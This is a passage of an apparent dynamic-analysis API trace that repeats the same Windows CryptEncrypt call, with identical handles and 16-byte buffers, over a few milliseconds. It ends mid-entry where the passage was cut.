CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.786] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.786] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.786] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.786] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.786] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.786] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.786] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.786] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.786] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.786] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.786] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.786] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.786] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.786] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.786] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.786] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.786] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.786] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.786] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.787] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.788] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.789] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.790] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.790] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.790] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.790] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.790] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.790] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.790] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.790] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.790] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.790] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.790] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, 